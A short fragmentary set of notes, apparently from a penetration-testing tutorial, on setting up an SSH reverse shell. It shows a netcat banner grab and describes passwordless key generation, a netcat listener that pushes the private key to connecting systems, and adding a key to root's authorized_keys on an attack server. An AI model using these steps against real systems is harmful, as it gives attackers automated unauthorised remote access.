Adding a Host Firewall (Optional)
Setting Up the SSH Reverse Shell
nc 192.168.1.100 22
SSH 1.99-OpenSSH_4.3
root
protocol mismatch
Setting Up Public/Private Keys
first create a public/private rsa key pair with an empty password, which allows us to automate our connection
create a netcat listener that will push the id_rsa file to a connecting system
append the id_rsa.pub file to the authorized_keys file on our attack server
cat id_rsa.pub >> /root/.ssh/authorized_keys